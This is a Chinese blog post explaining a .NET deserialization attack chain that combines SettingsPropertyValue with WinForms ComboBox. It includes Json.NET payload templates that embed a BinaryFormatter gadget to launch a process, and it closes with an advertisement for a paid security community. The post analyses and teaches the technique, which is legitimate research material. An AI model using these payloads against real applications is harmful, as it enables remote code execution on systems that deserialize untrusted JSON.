首页 > 其他分享 >.NET 反序列化 GetterSettingsPropertyValue 攻击链

.NET 反序列化 GetterSettingsPropertyValue 攻击链

时间:2023-10-30 19:47:42浏览次数:37  
标签:ComboBox 链路 System Items NET 序列化 GetterSettingsPropertyValue

0x01 链路1 SettingsPropertyValue

SettingsPropertyValue位于命名空间 System.Configuration,用于应用程序存储和检索设置的值,此类具有Name、IsDirty、Deserialized、PropertyValue、SerializedValue等多个公共成员,其中SerializedValue属性用于获取或者设置序列化的值,便于持久化存储,内部调用方法SerializePropertyValue,如下图

调用BinaryFormatter格式化器进行序列化,因此从构造反序列化漏洞的视角看,需要将Ysoserail.Net生成的BinaryFormatter攻击载荷赋值给SerializedValue成员

而反序列化触发漏洞由此类的另外一个成员PropertyValue负责实现,当该属性被外部使用时会触发getter,从而触发内部this.Deserialize()方法

0x02 链路2 Winform

此条攻击链路涉及ComboBox、ListBox、CheckedListBox这三个不同的Windows Froms桌面应用开发常见的用户控件类,反序列化漏洞链路实现上均类似,因此以ComboBox链作为样本进行原理分析。

从图上我们发现ComboBox继承于父类ListControl,ListControl是一切列表控件的基类,其中DisplayMember成员属性返回一个string类型,getter时通过this.displayMember.BindingMember可绑定SettingsPropertyValue链路触发反序列化操作的PropertyValue属性名称,如下图所示

另外ComboBox类在声明时拥有多个特性,其中成员Items和Text被指定为默认特性,分别为[DefaultProperty("Items")]、[DefaultBindingProperty("Text")],因此在getter和setter时会执行一些默认的行为。

Text成员

首先Text在setting时内部调用base.GetItemText获取item每项中的文本值,经过一系列调用,最后FilterItemOnProperty通过PropertyDescriptor对象获取item的属性描述,然后使用GetValue方法获取每项的值

因此当攻击者控制item选项以及在DisplayMember属性绑定了恶意的值时会变得非常不安全。

因此当攻击者控制item选项以及在DisplayMember属性绑定了恶意的值时会变得非常不安全。

Items成员

再回过头来看ComboBox类另外一个成员Items,内部实现上调用ObjectCollection,如下图所示

实际上是一组可以存储任意类型的列表项集合,因此我们可以控制Items集合添加SettingPropertyValue反序列化链。

0x03 编码实践

根据上述两条链路的原理性分析,我们可以尝试着构造用于恶意反序列化的攻击代码如下

payload = @"{
    '$type':'System.Windows.Forms.ComboBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089',
    'Items':[
        " + spvPayload + @"
    ], 
    'DisplayMember':'PropertyValue',
    'Text':'watever'
}";

ComboBox的DisplayMember属性值为SettingPropertyValue属性PropertyValue,根据前文得知PropertyValue被访问时会调用BinaryFormatter执行反序列化。Items集合由包含了攻击载荷的变量spvPayload 构建,具体代码如下

string spvPayload = @"{
    '$type':'System.Configuration.SettingsPropertyValue, System',
    'Name':'test',
    'IsDirty':false,
    'SerializedValue':
        {
            '$type':'System.Byte[], mscorlib',
            '$value':'" + b64encoded + @"'
        },
    'Deserialized':false
}";

SerializedValue是一组进行Base64编码后基于BinaryFormatter生成的攻击载荷,最后通过JsonConvert.DeserializeObject(s1, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }),完成整条攻击链路的反序列化,成功启动本地计算器进程,如下图所示

欢迎加入星球

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。经过运营团队成员商议一致同意给到师傅们最大优惠力度,只需129元就可以加入我们。

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

 

标签:ComboBox,链路,System,Items,NET,序列化,GetterSettingsPropertyValue
From: https://www.cnblogs.com/Ivan1ee/p/17798613.html

相关文章

  • .NET集成CAS认证艰难历程
    1.前言本文不再赘述单点登录SSO原理,主要针对CAS认证服务方式集成.NET应用,从实施落地过程回顾期间遇到的坑和解决方案做些心得总结,希望对你有帮忙,如有问题,请留言一起探讨学习2.核心客户端组件DotNetCasClient.dll,本项目依赖.NET4.5版本,官方提供用于集成CAS客户端源码地......
  • 论文复现01. RestainNet
    论文名称:RestainNet:aself-superviseddigitalre-stainerforstainnormalizationarxiv: https://arxiv.org/pdf/2202.13804.pdf论文的核心内容:自监督网络,把”灰度图“重新上色成HE染色的效果训练阶段在训练阶段,将原始的RGB图像分别提取Lab空间的L通道和HE染色矩......
  • 使用 Sealos 一键部署 Kubernetes 集群
    Sealos是一款以Kubernetes为内核的云操作系统发行版,使用户能够像使用个人电脑一样简单地使用云。与此同时,Sealos还提供一套强大的工具,可以便利地管理整个Kubernetes集群的生命周期。Sealos不仅可以一键安装一个单节点的Kubernetes开发环境,还能构建数千节点的生产高可......
  • .Net Core中读取json配置文件
    1、编写实例化类。新建可供实例化的配置类JwtConfig///<summary>///Jwt的配置类///</summary>publicclassJwtConfig{///<summary>///定位///</summary>publicconststringPosition="Jwt";///<summary>///验证......
  • 解决kubernetes flannel部署的具体操作步骤
    原文:https://blog.51cto.com/u_16175446/6683522KubernetesFlannel部署教程作为一名经验丰富的开发者,我将向你介绍在Kubernetes中部署Flannel网络插件的步骤和所需的代码。Flannel是一个用于Kubernetes集群的网络解决方案,它负责为Pod提供网络互通。整体流程以下是部署Kubernete......
  • java.net.SocketException四大异常解决方案
    java.net.SocketException四大异常解决方案java.net.SocketException如何才能更好的使用呢?这个就需要我们先要了解有关这个语言的相关问题。希望大家有所帮助。那么我们就来看看有关java.net.SocketException的相关知识。第1个异常是java.net.BindException:Addressalread......
  • Net 高级调试之三:类型元数据介绍(同步块表、类型句柄、方法描述符等)
    一、简介今天是《Net高级调试》的第三篇文章,压力还是不小的。上一篇文章,我们浅浅的谈了谈CLR和Windows加载器是如何加载Net程序集的,如何找到程序的入口点的,有了前面的基础,我们今天看一点更详细的东西。既然Windows操作系统已经加载了CLR,初始化了应用程序域,加载......
  • centos7.9重启网卡提示Failed to start LSB: Bring up/down networking.
    前几天给一台机器状态centos7.9系统,设备有2个网口,今天重启网卡一直失败,查看network状态,怀疑是eth0网卡有问题查看eth0的网卡配置,发现是eth0网卡的BOOTPROTO=dhcp,且ONBOOT=yes,但eth0网口没插网线,这导致重启网卡时,一直重启eth0,但是没插网线一直失败。解决方案:把eth0网卡的ONB......
  • kubernetes拉取私有Harbor仓库镜像
    场景描述私有镜像仓库:http://172.16.30.56kubernete集群使用的是containerdkubernete集群中部署服务时,报错:Error:ImagePullBackOffkubernetes拉取私有Harbor仓库镜像配置说明harbor检查确保私有harbor能正常访问,能正常推送镜像:页面访问正常docker获取镜像正常......
  • SpringCloud复习:(1)netflix包里的DiscoveryClient类
    DiscoveryClient类实现了EurekaClient接口它的主要作用:服务注册,服务续约,服务下线,获取服务列表。initScheduledTasks方法用来开启定时任务来完成上述功能。上图中的代码用来从服务器定期(默认30秒)拉取服务列表(ScheduledExecutorService的应用场景)其中TimedSupervisorTask这个Run......